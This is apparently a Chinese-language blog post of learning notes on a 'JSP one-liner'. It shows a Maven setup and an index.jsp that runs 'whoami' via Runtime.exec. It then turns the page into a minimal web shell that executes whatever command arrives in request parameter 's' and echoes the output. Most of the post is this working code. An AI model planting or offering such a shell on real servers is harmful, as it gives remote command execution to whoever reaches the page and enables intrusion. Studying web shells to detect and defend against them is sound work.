jsp一句话

1.jsp一句话

最近在学习java web。。。

配置

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>untitled5</artifactId>
  <version>1.0-SNAPSHOT</version>
  <name>Archetype - untitled5</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.1.0</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
</project>

如果没有3.1.0的依赖项

去打开模块设置->库

点+号,来自maven

搜索javax.servlet

index.jsp

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %><%--
  Created by IntelliJ IDEA.
  User: MuRKuo
  Date: 2022/9/22
  Time: 0:01
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  <%
    Process process = Runtime.getRuntime().exec("whoami");//此时没有回显
    //System.out.println("123");//在terminal中输出了
    InputStream is = process.getInputStream();//获取返回的数据流
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));//将数据流保存到buff中
    String line ;//初始化变量
    while( (line = bufferedReader.readLine()) !=null )//将buff中的内容保存到line变量里,判断回显内容是否是空
    {
      response.getWriter().println(line); //通过response将获取到的值打印出来
    }
  %>
  </body>
</html>

通过请求传参

Process process = Runtime.getRuntime().exec(request.getParameter("s"));

此时不带参数访问会导致500错误,因为参数没有传值

带上参数请求

posted @ 2022-09-22 01:16  MuRKuo  阅读(550)  评论(0编辑  收藏  举报